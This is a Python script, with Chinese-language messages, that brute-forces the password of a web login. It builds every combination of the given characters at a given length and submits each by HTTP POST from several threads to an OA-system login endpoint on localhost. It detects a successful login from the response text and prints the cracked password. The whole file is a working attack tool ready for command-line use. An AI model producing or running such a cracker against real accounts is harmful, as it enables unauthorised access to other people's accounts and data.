import requests
import sys
import itertools
import queue
import threading
import time
class Bruter(object):
    def __init__(self,user,characters,pwd_len,threads):
        self.threads=threads
        self.found=False
        self.user=user
        self.pwd_queue=queue.Queue()
        for pwd in list(itertools.product(characters,repeat=pwd_len)):
            self.pwd_queue.put(''.join(pwd))
        self.result = None
    def brute(self):
        for i in range(self.threads):
            t = threading.Thread(target=self.__web_bruter)
            t.start()
            print('破解线程-->%s 启动' % t.ident)
        while(not self.pwd_queue.empty()):
            sys.stdout.write('\r 进度: 还剩余%s个口令 (每1s刷新)' % self.pwd_queue.qsize())
            sys.stdout.flush()
            time.sleep(1)
        print('\n破解完毕')
    def __login(self,pwd):
        url = 'http://localhost:8085/smeoa/login/check_login'
        values = {'emp_no':self.user,'password':pwd}
        r = requests.post(url,data=values)
        if "错误" in r.text:
            return False
        elif "退出" in r.text:
            return True
        else:
            print("系统未响应")
    def __web_bruter(self):
        while not self.pwd_queue.empty() and not self.found:
            pwd_test = self.pwd_queue.get()
            if self.__login(pwd_test):
                self.found = True
                self.result = pwd_test
                print('破解 %s 成功，密码为: %s' % (self.user,pwd_test))
            else:
                self.found = False

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print('用法 : cmd [用户名] [密码字符] [密码长度] [线程数]')
        exit(0)
    b = Bruter(sys.argv[1],sys.argv[2],int(sys.argv[3]),int(sys.argv[4]))
    b.brute()
    print(b.result)
